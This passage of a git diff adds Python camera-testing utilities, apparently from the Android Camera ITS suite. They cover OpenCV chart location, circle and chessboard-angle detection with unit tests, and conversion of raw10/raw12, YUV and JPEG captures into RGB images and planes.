+    self._height = height or CHART_HEIGHT
+    self._distance = distance or CHART_DISTANCE_RFOV
+    self._scale_start = scale_start or CHART_SCALE_START
+    self._scale_stop = scale_stop or CHART_SCALE_STOP
+    self._scale_step = scale_step or CHART_SCALE_STEP
+    self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = (
+        image_processing_utils.chart_located_per_argv(chart_loc))
+    if not self.xnorm:
+      if camera_properties_utils.read_3a(props):
+        self.locate(cam, props, log_path)
+      else:
+        logging.debug('Chart locator skipped.')
+        self._set_scale_factors_to_one()
+
+  def _set_scale_factors_to_one(self):
+    """Set scale factors to 1.0 for skipped tests."""
+    self.wnorm = 1.0
+    self.hnorm = 1.0
+    self.xnorm = 0.0
+    self.ynorm = 0.0
+    self.scale = 1.0
+
+  def _calc_scale_factors(self, cam, props, fmt, s, e, fd, log_path):
+    """Take an image with s, e, & fd to find the chart location.
+
+    Args:
+     cam: An open its session.
+     props: Properties of cam
+     fmt: Image format for the capture
+     s: Sensitivity for the AF request as defined in
+                            android.sensor.sensitivity
+     e: Exposure time for the AF request as defined in
+                            android.sensor.exposureTime
+     fd: float; autofocus lens position
+     log_path: log path to save the captured images.
+
+    Returns:
+      template: numpy array; chart template for locator
+      img_3a: numpy array; RGB image for chart location
+      scale_factor: float; scaling factor for chart search
+    """
+    req = capture_request_utils.manual_capture_request(s, e)
+    req['android.lens.focusDistance'] = fd
+    cap_chart = image_processing_utils.stationary_lens_cap(cam, req, fmt)
+    img_3a = image_processing_utils.convert_capture_to_rgb_image(
+        cap_chart, props)
+    img_3a = image_processing_utils.rotate_img_per_argv(img_3a)
+    af_scene_name = os.path.join(log_path, 'af_scene.jpg')
+    image_processing_utils.write_image(img_3a, af_scene_name)
+    template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
+    focal_l = cap_chart['metadata']['android.lens.focalLength']
+    pixel_pitch = (
+        props['android.sensor.info.physicalSize']['height'] / img_3a.shape[0])
+    logging.debug('Chart distance: %.2fcm', self._distance)
+    logging.debug('Chart height: %.2fcm', self._height)
+    logging.debug('Focal length: %.2fmm', focal_l)
+    logging.debug('Pixel pitch: %.2fum', pixel_pitch * 1E3)
+    logging.debug('Template height: %dpixels', template.shape[0])
+    chart_pixel_h = self._height * focal_l / (self._distance * pixel_pitch)
+    scale_factor = template.shape[0] / chart_pixel_h
+    logging.debug('Chart/image scale factor = %.2f', scale_factor)
+    return template, img_3a, scale_factor
+
+  def locate(self, cam, props, log_path):
+    """Find the chart in the image, and append location to chart object.
+
+    Args:
+      cam: Open its session.
+      props: Camera properties object.
+      log_path: log path to store the captured images.
+
+    The values appended are:
+    xnorm: float; [0, 1] left loc of chart in scene
+    ynorm: float; [0, 1] top loc of chart in scene
+    wnorm: float; [0, 1] width of chart in scene
+    hnorm: float; [0, 1] height of chart in scene
+    scale: float; scale factor to extract chart
+    """
+    if camera_properties_utils.read_3a(props):
+      s, e, _, _, fd = cam.do_3a(get_results=True)
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt, s, e,
+                                                        fd, log_path)
+    else:
+      logging.debug('Chart locator skipped.')
+      self._set_scale_factors_to_one()
+      return
+    scale_start = self._scale_start * s_factor
+    scale_stop = self._scale_stop * s_factor
+    scale_step = self._scale_step * s_factor
+    self.scale = s_factor
+    max_match = []
+    # check for normalized image
+    if numpy.amax(scene) <= 1.0:
+      scene = (scene * 255.0).astype(numpy.uint8)
+    scene_gray = gray_scale_img(scene)
+    logging.debug('Finding chart in scene...')
+    for scale in numpy.arange(scale_start, scale_stop, scale_step):
+      scene_scaled = scale_img(scene_gray, scale)
+      if (scene_scaled.shape[0] < chart.shape[0] or
+          scene_scaled.shape[1] < chart.shape[1]):
+        continue
+      result = cv2.matchTemplate(scene_scaled, chart, cv2.TM_CCOEFF)
+      _, opt_val, _, top_left_scaled = cv2.minMaxLoc(result)
+      logging.debug(' scale factor: %.3f, opt val: %.f', scale, opt_val)
+      max_match.append((opt_val, top_left_scaled))
+
+    # determine if optimization results are valid
+    opt_values = [x[0] for x in max_match]
+    if 2.0 * min(opt_values) > max(opt_values):
+      estring = ('Warning: unable to find chart in scene!\n'
+                 'Check camera distance and self-reported '
+                 'pixel pitch, focal length and hyperfocal distance.')
+      logging.warning(estring)
+      self._set_scale_factors_to_one()
+    else:
+      if (max(opt_values) == opt_values[0] or
+          max(opt_values) == opt_values[len(opt_values) - 1]):
+        estring = ('Warning: Chart is at extreme range of locator.')
+        logging.warning(estring)
+      # find max and draw bbox
+      match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+      self.scale = scale_start + scale_step * match_index
+      logging.debug('Optimum scale factor: %.3f', self.scale)
+      top_left_scaled = max_match[match_index][1]
+      h, w = chart.shape
+      bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
+      top_left = ((top_left_scaled[0] // self.scale),
+                  (top_left_scaled[1] // self.scale))
+      bottom_right = ((bottom_right_scaled[0] // self.scale),
+                      (bottom_right_scaled[1] // self.scale))
+      self.wnorm = ((bottom_right[0]) - top_left[0]) / scene.shape[1]
+      self.hnorm = ((bottom_right[1]) - top_left[1]) / scene.shape[0]
+      self.xnorm = (top_left[0]) / scene.shape[1]
+      self.ynorm = (top_left[1]) / scene.shape[0]
+
+
+def component_shape(contour):
+  """Measure the shape of a connected component.
+
+  Args:
+    contour: return from cv2.findContours. A list of pixel coordinates of
+    the contour.
+
+  Returns:
+    The most left, right, top, bottom pixel location, height, width, and
+    the center pixel location of the contour.
+  """
+  shape = {'left': numpy.inf, 'right': 0, 'top': numpy.inf, 'bottom': 0,
+           'width': 0, 'height': 0, 'ctx': 0, 'cty': 0}
+  for pt in contour:
+    if pt[0][0] < shape['left']:
+      shape['left'] = pt[0][0]
+    if pt[0][0] > shape['right']:
+      shape['right'] = pt[0][0]
+    if pt[0][1] < shape['top']:
+      shape['top'] = pt[0][1]
+    if pt[0][1] > shape['bottom']:
+      shape['bottom'] = pt[0][1]
+  shape['width'] = shape['right'] - shape['left'] + 1
+  shape['height'] = shape['bottom'] - shape['top'] + 1
+  shape['ctx'] = (shape['left'] + shape['right']) // 2
+  shape['cty'] = (shape['top'] + shape['bottom']) // 2
+  return shape
+
+
+def find_circle(img, img_name, min_area, color):
+  """Find the circle in the test image.
+
+  Args:
+    img: numpy image array in RGB, with pixel values in [0,255].
+    img_name: string with image info of format and size.
+    min_area: float of minimum area of circle to find
+    color: int of [0 or 255] 0 is black, 255 is white
+
+  Returns:
+    circle = {'x', 'y', 'r', 'w', 'h', 'x_offset', 'y_offset'}
+  """
+  circle = {}
+  img_size = img.shape
+  if img_size[0]*img_size[1] >= LOW_RES_IMG_THRESH:
+    circlish_atol = CIRCLISH_ATOL
+  else:
+    circlish_atol = CIRCLISH_LOW_RES_ATOL
+
+  # convert to gray-scale image
+  img_gray = numpy.dot(img[..., :3], RGB_GRAY_WEIGHTS)
+
+  # otsu threshold to binarize the image
+  _, img_bw = cv2.threshold(numpy.uint8(img_gray), 0, 255,
+                            cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+
+  # find contours
+  contours = find_all_contours(255-img_bw)
+
+  # Check each contour and find the circle bigger than min_area
+  num_circles = 0
+  logging.debug('Initial number of contours: %d', len(contours))
+  for contour in contours:
+    area = cv2.contourArea(contour)
+    num_pts = len(contour)
+    if (area > img_size[0]*img_size[1]*min_area and
+        num_pts >= CIRCLE_MIN_PTS):
+      shape = component_shape(contour)
+      radius = (shape['width'] + shape['height']) / 4
+      colour = img_bw[shape['cty']][shape['ctx']]
+      circlish = (math.pi * radius**2) / area
+      aspect_ratio = shape['width'] / shape['height']
+      logging.debug('Potential circle found. radius: %.2f, color: %d,'
+                    'circlish: %.3f, ar: %.3f, pts: %d', radius, colour,
+                    circlish, aspect_ratio, num_pts)
+      if (colour == color and
+          numpy.isclose(1.0, circlish, atol=circlish_atol) and
+          numpy.isclose(1.0, aspect_ratio, atol=CIRCLE_AR_ATOL) and
+          num_pts/radius >= CIRCLE_RADIUS_NUMPTS_THRESH):
+
+        # Populate circle dictionary
+        circle['x'] = shape['ctx']
+        circle['y'] = shape['cty']
+        circle['r'] = (shape['width'] + shape['height']) / 4
+        circle['w'] = float(shape['width'])
+        circle['h'] = float(shape['height'])
+        circle['x_offset'] = (shape['ctx'] - img_size[1]//2) / circle['w']
+        circle['y_offset'] = (shape['cty'] - img_size[0]//2) / circle['h']
+        logging.debug('Num pts: %d', num_pts)
+        logging.debug('Aspect ratio: %.3f', aspect_ratio)
+        logging.debug('Circlish value: %.3f', circlish)
+        logging.debug('Location: %.1f x %.1f', circle['x'], circle['y'])
+        logging.debug('Radius: %.3f', circle['r'])
+        logging.debug('Circle center position wrt to image center:%.3fx%.3f',
+                      circle['x_offset'], circle['y_offset'])
+        num_circles += 1
+        # if more than one circle found, break
+        if num_circles == 2:
+          break
+
+  if num_circles == 0:
+    image_processing_utils.write_image(img/255, img_name, True)
+    logging.error('No black circle detected. '
+                  'Please take pictures according to instruction carefully!')
+    assert num_circles == 1
+
+  if num_circles > 1:
+    image_processing_utils.write_image(img/255, img_name, True)
+    logging.debug('More than 1 black circle detected. '
+                  'Background of scene may be too complex.')
+    assert num_circles == 1
+
+  return circle
+
+
+def append_circle_center_to_img(circle, img, img_name):
+  """Append circle center and image center to image and save image.
+
+  Draws line from circle center to image center and then labels end-points.
+  Adjusts text positioning depending on circle center wrt image center.
+  Moves text position left/right half of up/down movement for visual aesthetics.
+
+  Args:
+    circle: dict with circle location vals.
+    img: numpy float image array in RGB, with pixel values in [0,255].
+    img_name: string with image info of format and size.
+  """
+  line_width_scaling_factor = 500
+  text_move_scaling_factor = 3
+  img_size = img.shape
+  img_center_x = img_size[1]//2
+  img_center_y = img_size[0]//2
+
+  # draw line from circle to image center
+  line_width = int(max(1, max(img_size)//line_width_scaling_factor))
+  font_size = line_width // 2
+  move_text_dist = line_width * text_move_scaling_factor
+  cv2.line(img, (circle['x'], circle['y']), (img_center_x, img_center_y),
+           CV2_RED, line_width)
+
+  # adjust text location
+  move_text_right_circle = -1
+  move_text_right_image = 2
+  if circle['x'] > img_center_x:
+    move_text_right_circle = 2
+    move_text_right_image = -1
+
+  move_text_down_circle = -1
+  move_text_down_image = 4
+  if circle['y'] > img_center_y:
+    move_text_down_circle = 4
+    move_text_down_image = -1
+
+  # add circles to end points and label
+  radius_pt = line_width * 2  # makes a dot 2x line width
+  filled_pt = -1  # cv2 value for a filled circle
+  # circle center
+  cv2.circle(img, (circle['x'], circle['y']), radius_pt, CV2_RED, filled_pt)
+  text_circle_x = move_text_dist * move_text_right_circle + circle['x']
+  text_circle_y = move_text_dist * move_text_down_circle + circle['y']
+  cv2.putText(img, 'circle center', (text_circle_x, text_circle_y),
+              cv2.FONT_HERSHEY_SIMPLEX, font_size, CV2_RED, line_width)
+  # image center
+  cv2.circle(img, (img_center_x, img_center_y), radius_pt, CV2_RED, filled_pt)
+  text_imgct_x = move_text_dist * move_text_right_image + img_center_x
+  text_imgct_y = move_text_dist * move_text_down_image + img_center_y
+  cv2.putText(img, 'image center', (text_imgct_x, text_imgct_y),
+              cv2.FONT_HERSHEY_SIMPLEX, font_size, CV2_RED, line_width)
+  image_processing_utils.write_image(img/255, img_name, True)  # [0, 1] values
+
+
+def get_angle(input_img):
+  """Computes anglular inclination of chessboard in input_img.
+
+  Args:
+    input_img (2D numpy.ndarray): Grayscale image stored as a 2D numpy array.
+  Returns:
+    Median angle of squares in degrees identified in the image.
+
+  Angle estimation algorithm description:
+    Input: 2D grayscale image of chessboard.
+    Output: Angle of rotation of chessboard perpendicular to
+            chessboard. Assumes chessboard and camera are parallel to
+            each other.
+
+    1) Use adaptive threshold to make image binary
+    2) Find countours
+    3) Filter out small contours
+    4) Filter out all non-square contours
+    5) Compute most common square shape.
+        The assumption here is that the most common square instances are the
+        chessboard squares. We've shown that with our current tuning, we can
+        robustly identify the squares on the sensor fusion chessboard.
+    6) Return median angle of most common square shape.
+
+  USAGE NOTE: This function has been tuned to work for the chessboard used in
+  the sensor_fusion tests. See images in test_images/rotated_chessboard/ for
+  sample captures. If this function is used with other chessboards, it may not
+  work as expected.
+  """
+  # Tuning parameters
+  square_area_min = (float)(input_img.shape[1] * SQUARE_AREA_MIN_REL)
+
+  # Creates copy of image to avoid modifying original.
+  img = numpy.array(input_img, copy=True)
+
+  # Scale pixel values from 0-1 to 0-255
+  img *= 255
+  img = img.astype(numpy.uint8)
+  img_thresh = cv2.adaptiveThreshold(
+      img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 201, 2)
+
+  # Find all contours.
+  contours = find_all_contours(img_thresh)
+
+  # Filter contours to squares only.
+  square_contours = []
+  for contour in contours:
+    rect = cv2.minAreaRect(contour)
+    _, (width, height), angle = rect
+
+    # Skip non-squares
+    if not numpy.isclose(width, height, rtol=SQUARE_TOL):
+      continue
+
+    # Remove very small contours: usually just tiny dots due to noise.
+    area = cv2.contourArea(contour)
+    if area < square_area_min:
+      continue
+
+    square_contours.append(contour)
+
+  areas = []
+  for contour in square_contours:
+    area = cv2.contourArea(contour)
+    areas.append(area)
+
+  median_area = numpy.median(areas)
+
+  filtered_squares = []
+  filtered_angles = []
+  for square in square_contours:
+    area = cv2.contourArea(square)
+    if not numpy.isclose(area, median_area, rtol=SQUARE_TOL):
+      continue
+
+    filtered_squares.append(square)
+    _, (width, height), angle = cv2.minAreaRect(square)
+    filtered_angles.append(angle)
+
+  if len(filtered_angles) < ANGLE_NUM_MIN:
+    logging.debug(
+        'A frame had too few angles to be processed. '
+        'Num of angles: %d, MIN: %d', len(filtered_angles), ANGLE_NUM_MIN)
+    return None
+
+  return numpy.median(filtered_angles)
+
+
+class Cv2ImageProcessingUtilsTests(unittest.TestCase):
+  """Unit tests for this module."""
+
+  def test_get_angle_identify_unrotated_chessboard_angle(self):
+    normal_img_path = os.path.join(
+        TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
+    wide_img_path = os.path.join(
+        TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
+    normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
+    wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
+    normal_angle = get_angle(normal_img)
+    wide_angle = get_angle(wide_img)
+    e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
+    self.assertEqual(get_angle(normal_img), 0, e_msg)
+    self.assertEqual(get_angle(wide_img), 0, e_msg)
+
+  def test_get_angle_identify_rotated_chessboard_angle(self):
+    # Array of the image files and angles containing rotated chessboards.
+    test_cases = [
+        ('_15_ccw', 15),
+        ('_30_ccw', 30),
+        ('_45_ccw', 45),
+        ('_60_ccw', 60),
+        ('_75_ccw', 75),
+        ('_90_ccw', 90)
+    ]
+
+    # For each rotated image pair (normal, wide), check angle against expected.
+    for suffix, angle in test_cases:
+      # Define image paths.
+      normal_img_path = os.path.join(
+          TEST_IMG_DIR, f'rotated_chessboards/normal{suffix}.jpg')
+      wide_img_path = os.path.join(
+          TEST_IMG_DIR, f'rotated_chessboards/wide{suffix}.jpg')
+
+      # Load and color-convert images.
+      normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
+      wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
+
+      # Assert angle as expected.
+      normal_angle = get_angle(normal_img)
+      wide_angle = get_angle(wide_img)
+      e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
+      self.assertTrue(
+          numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
+      self.assertTrue(
+          numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS2.0/utils/error_util.py b/apps/CameraITS2.0/utils/error_util.py
new file mode 100644
index 0000000..5926670
--- /dev/null
+++ b/apps/CameraITS2.0/utils/error_util.py
@@ -0,0 +1,17 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+class CameraItsError(Exception):
+  pass
diff --git a/apps/CameraITS2.0/utils/image_processing_utils.py b/apps/CameraITS2.0/utils/image_processing_utils.py
new file mode 100644
index 0000000..0b97111
--- /dev/null
+++ b/apps/CameraITS2.0/utils/image_processing_utils.py
@@ -0,0 +1,867 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import copy
+import io
+import logging
+import math
+import os
+import random
+import sys
+import unittest
+
+import numpy
+from PIL import Image
+
+
+import cv2
+import capture_request_utils
+import error_util
+
+# The matrix is from JFIF spec
+DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
+                                       [1.000, -0.344, -0.714],
+                                       [1.000, 1.772, 0.000]])
+
+DEFAULT_YUV_OFFSETS = numpy.array([0, 128, 128])
+MAX_LUT_SIZE = 65536
+DEFAULT_GAMMA_LUT = numpy.array([
+    math.floor((MAX_LUT_SIZE-1) * math.pow(i/(MAX_LUT_SIZE-1), 1/2.2) + 0.5)
+    for i in range(MAX_LUT_SIZE)])
+NUM_TRIES = 2
+NUM_FRAMES = 4
+TEST_IMG_DIR = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images')
+
+
+# pylint: disable=unused-argument
+def convert_capture_to_rgb_image(cap,
+                                 ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
+                                 yuv_off=DEFAULT_YUV_OFFSETS,
+                                 props=None):
+  """Convert a captured image object to a RGB image.
+
+  Args:
+     cap: A capture object as returned by its_session_utils.do_capture.
+     ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
+     yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
+     props: (Optional) camera properties object (of static values);
+            required for processing raw images.
+
+  Returns:
+        RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  w = cap['width']
+  h = cap['height']
+  if cap['format'] == 'raw10':
+    assert props is not None
+    cap = unpack_raw10_capture(cap)
+
+  if cap['format'] == 'raw12':
+    assert props is not None
+    cap = unpack_raw12_capture(cap)
+
+  if cap['format'] == 'yuv':
+    y = cap['data'][0: w * h]
+    u = cap['data'][w * h: w * h * 5//4]
+    v = cap['data'][w * h * 5//4: w * h * 6//4]
+    return convert_yuv420_planar_to_rgb_image(y, u, v, w, h)
+  elif cap['format'] == 'jpeg':
+    return decompress_jpeg_to_rgb_image(cap['data'])
+  elif cap['format'] == 'raw' or cap['format'] == 'rawStats':
+    assert props is not None
+    r, gr, gb, b = convert_capture_to_planes(cap, props)
+    return convert_raw_to_rgb_image(r, gr, gb, b, props, cap['metadata'])
+  elif cap['format'] == 'y8':
+    y = cap['data'][0: w * h]
+    return convert_y8_to_rgb_image(y, w, h)
+  else:
+    raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
+
+
+def unpack_raw10_capture(cap):
+  """Unpack a raw-10 capture to a raw-16 capture.
+
+  Args:
+    cap: A raw-10 capture object.
+
+  Returns:
+    New capture object with raw-16 data.
+  """
+  # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
+  # the MSBs of the pixels, and the 5th byte holding 4x2b LSBs.
+  w, h = cap['width'], cap['height']
+  if w % 4 != 0:
+    raise error_util.CameraItsError('Invalid raw-10 buffer width')
+  cap = copy.deepcopy(cap)
+  cap['data'] = unpack_raw10_image(cap['data'].reshape(h, w * 5 // 4))
+  cap['format'] = 'raw'
+  return cap
+
+
+def unpack_raw10_image(img):
+  """Unpack a raw-10 image to a raw-16 image.
+
+  Output image will have the 10 LSBs filled in each 16b word, and the 6 MSBs
+  will be set to zero.
+
+  Args:
+    img: A raw-10 image, as a uint8 numpy array.
+
+  Returns:
+    Image as a uint16 numpy array, with all row padding stripped.
+  """
+  if img.shape[1] % 5 != 0:
+    raise error_util.CameraItsError('Invalid raw-10 buffer width')
+  w = img.shape[1] * 4 // 5
+  h = img.shape[0]
+  # Cut out the 4x8b MSBs and shift to bits [9:2] in 16b words.
+  msbs = numpy.delete(img, numpy.s_[4::5], 1)
+  msbs = msbs.astype(numpy.uint16)
+  msbs = numpy.left_shift(msbs, 2)
+  msbs = msbs.reshape(h, w)
+  # Cut out the 4x2b LSBs and put each in bits [1:0] of their own 8b words.
+  lsbs = img[::, 4::5].reshape(h, w // 4)
+  lsbs = numpy.right_shift(
+      numpy.packbits(numpy.unpackbits(lsbs).reshape(h, w // 4, 4, 2), 3), 6)
+  # Pair the LSB bits group to 0th pixel instead of 3rd pixel
+  lsbs = lsbs.reshape(h, w // 4, 4)[:, :, ::-1]
+  lsbs = lsbs.reshape(h, w)
+  # Fuse the MSBs and LSBs back together
+  img16 = numpy.bitwise_or(msbs, lsbs).reshape(h, w)
+  return img16
+
+
+def unpack_raw12_capture(cap):
+  """Unpack a raw-12 capture to a raw-16 capture.
+
+  Args:
+    cap: A raw-12 capture object.
+
+  Returns:
+     New capture object with raw-16 data.
+  """
+  # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
+  # the MSBs of the pixels, and the 5th byte holding 4x2b LSBs.
+  w, h = cap['width'], cap['height']
+  if w % 2 != 0:
+    raise error_util.CameraItsError('Invalid raw-12 buffer width')
+  cap = copy.deepcopy(cap)
+  cap['data'] = unpack_raw12_image(cap['data'].reshape(h, w * 3 // 2))
+  cap['format'] = 'raw'
+  return cap
+
+
+def unpack_raw12_image(img):
+  """Unpack a raw-12 image to a raw-16 image.
+
+  Output image will have the 12 LSBs filled in each 16b word, and the 4 MSBs
+  will be set to zero.
+
+  Args:
+   img: A raw-12 image, as a uint8 numpy array.
+
+  Returns:
+    Image as a uint16 numpy array, with all row padding stripped.
+  """
+  if img.shape[1] % 3 != 0:
+    raise error_util.CameraItsError('Invalid raw-12 buffer width')
+  w = img.shape[1] * 2 // 3
+  h = img.shape[0]
+  # Cut out the 2x8b MSBs and shift to bits [11:4] in 16b words.
+  msbs = numpy.delete(img, numpy.s_[2::3], 1)
+  msbs = msbs.astype(numpy.uint16)
+  msbs = numpy.left_shift(msbs, 4)
+  msbs = msbs.reshape(h, w)
+  # Cut out the 2x4b LSBs and put each in bits [3:0] of their own 8b words.
+  lsbs = img[::, 2::3].reshape(h, w // 2)
+  lsbs = numpy.right_shift(
+      numpy.packbits(numpy.unpackbits(lsbs).reshape(h, w // 2, 2, 4), 3), 4)
+  # Pair the LSB bits group to pixel 0 instead of pixel 1
+  lsbs = lsbs.reshape(h, w // 2, 2)[:, :, ::-1]
+  lsbs = lsbs.reshape(h, w)
+  # Fuse the MSBs and LSBs back together
+  img16 = numpy.bitwise_or(msbs, lsbs).reshape(h, w)
+  return img16
+
+
+def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
+                                       w, h,
+                                       ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
+                                       yuv_off=DEFAULT_YUV_OFFSETS):
+  """Convert a YUV420 8-bit planar image to an RGB image.
+
+  Args:
+    y_plane: The packed 8-bit Y plane.
+    u_plane: The packed 8-bit U plane.
+    v_plane: The packed 8-bit V plane.
+    w: The width of the image.
+    h: The height of the image.
+    ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
+    yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  y = numpy.subtract(y_plane, yuv_off[0])
+  u = numpy.subtract(u_plane, yuv_off[1]).view(numpy.int8)
+  v = numpy.subtract(v_plane, yuv_off[2]).view(numpy.int8)
+  u = u.reshape(h // 2, w // 2).repeat(2, axis=1).repeat(2, axis=0)
+  v = v.reshape(h // 2, w // 2).repeat(2, axis=1).repeat(2, axis=0)
+  yuv = numpy.dstack([y, u.reshape(w * h), v.reshape(w * h)])
+  flt = numpy.empty([h, w, 3], dtype=numpy.float32)
+  flt.reshape(w * h * 3)[:] = yuv.reshape(h * w * 3)[:]
+  flt = numpy.dot(flt.reshape(w * h, 3), ccm_yuv_to_rgb.T).clip(0, 255)
+  rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
+  rgb.reshape(w * h * 3)[:] = flt.reshape(w * h * 3)[:]
+  return rgb.astype(numpy.float32) / 255.0
+
+
+def decompress_jpeg_to_rgb_image(jpeg_buffer):
+  """Decompress a JPEG-compressed image, returning as an RGB image.
+
+  Args:
+    jpeg_buffer: The JPEG stream.
+
+  Returns:
+     A numpy array for the RGB image, with pixels in [0,1].
+  """
+  img = Image.open(io.BytesIO(jpeg_buffer))
+  w = img.size[0]
+  h = img.size[1]
+  return numpy.array(img).reshape(h, w, 3) / 255.0
+
+
+def convert_capture_to_planes(cap, props=None):
+  """Convert a captured image object to separate image planes.
+
+  Decompose an image into multiple images, corresponding to different planes.
+
+  For YUV420 captures ("yuv"):
+        Returns Y,U,V planes, where the Y plane is full-res and the U,V planes
+        are each 1/2 x 1/2 of the full res.
+
+    For Bayer captures ("raw", "raw10", "raw12", or "rawStats"):
+        Returns planes in the order R,Gr,Gb,B, regardless of the Bayer pattern
+        layout. For full-res raw images ("raw", "raw10", "raw12"), each plane
+        is 1/2 x 1/2 of the full res. For "rawStats" images, the mean image
+        is returned.
+
+    For JPEG captures ("jpeg"):
+        Returns R,G,B full-res planes.
+
+  Args:
+    cap: A capture object as returned by its_session_utils.do_capture.
+    props: (Optional) camera properties object (of static values);
+            required for processing raw images.
+
+  Returns:
+    A tuple of float numpy arrays (one per plane), consisting of pixel values
+    in the range [0.0, 1.0].
+  """
+  w = cap['width']
+  h = cap['height']
+  if cap['format'] == 'raw10':
+    assert props is not None
+    cap = unpack_raw10_capture(cap)
+  if cap['format'] == 'raw12':
+    assert props is not None
+    cap = unpack_raw12_capture(cap)
+  if cap['format'] == 'yuv':
+    y = cap['data'][0:w * h]
+    u = cap['data'][w * h:w * h * 5 // 4]
+    v = cap['data'][w * h * 5 // 4:w * h * 6 // 4]
+    return ((y.astype(numpy.float32) / 255.0).reshape(h, w, 1),
+            (u.astype(numpy.float32) / 255.0).reshape(h // 2, w // 2, 1),
+            (v.astype(numpy.float32) / 255.0).reshape(h // 2, w // 2, 1))
+  elif cap['format'] == 'jpeg':
+    rgb = decompress_jpeg_to_rgb_image(cap['data']).reshape(w * h * 3)
+    return (rgb[::3].reshape(h, w, 1), rgb[1::3].reshape(h, w, 1),
+            rgb[2::3].reshape(h, w, 1))
+  elif cap['format'] == 'raw':
+    assert props is not None
+    white_level = float(props['android.sensor.info.whiteLevel'])
+    img = numpy.ndarray(
+        shape=(h * w,), dtype='<u2', buffer=cap['data'][0:w * h * 2])
+    img = img.astype(numpy.float32).reshape(h, w) / white_level
+    # Crop the raw image to the active array region.
+    if (props.get('android.sensor.info.preCorrectionActiveArraySize') is
+        not None and
+        props.get('android.sensor.info.pixelArraySize') is not None):
+      # Note that the Rect class is defined such that the left,top values
+      # are "inside" while the right,bottom values are "outside"; that is,
+      # it's inclusive of the top,left sides only. So, the width is
+      # computed as right-left, rather than right-left+1, etc.
+      wfull = props['android.sensor.info.pixelArraySize']['width']
+      hfull = props['android.sensor.info.pixelArraySize']['height']
+      xcrop = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+      ycrop = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+      wcrop = props['android.sensor.info.preCorrectionActiveArraySize'][
+          'right'] - xcrop
+      hcrop = props['android.sensor.info.preCorrectionActiveArraySize'][
+          'bottom'] - ycrop
+      assert wfull >= wcrop >= 0
+      assert hfull >= hcrop >= 0
+      assert wfull - wcrop >= xcrop >= 0
+      assert hfull - hcrop >= ycrop >= 0
+      if w == wfull and h == hfull:
+        # Crop needed; extract the center region.
+        img = img[ycrop:ycrop + hcrop, xcrop:xcrop + wcrop]
+        w = wcrop
+        h = hcrop
+      elif w == wcrop and h == hcrop:
+        logging.debug('Image is already cropped.No cropping needed.')
+        # pylint: disable=pointless-statement
+        None
+      else:
+        raise error_util.CameraItsError('Invalid image size metadata')
+    # Separate the image planes.
+    imgs = [
+        img[::2].reshape(w * h // 2)[::2].reshape(h // 2, w // 2, 1),
+        img[::2].reshape(w * h // 2)[1::2].reshape(h // 2, w // 2, 1),
+        img[1::2].reshape(w * h // 2)[::2].reshape(h // 2, w // 2, 1),
+        img[1::2].reshape(w * h // 2)[1::2].reshape(h // 2, w // 2, 1)
+    ]
+    idxs = get_canonical_cfa_order(props)
+    return [imgs[i] for i in idxs]
+  elif cap['format'] == 'rawStats':
+    assert props is not None
+    white_level = float(props['android.sensor.info.whiteLevel'])
+    # pylint: disable=unused-variable
+    mean_image, var_image = unpack_rawstats_capture(cap)
+    idxs = get_canonical_cfa_order(props)
+    return [mean_image[:, :, i] / white_level for i in idxs]
+  else:
+    raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
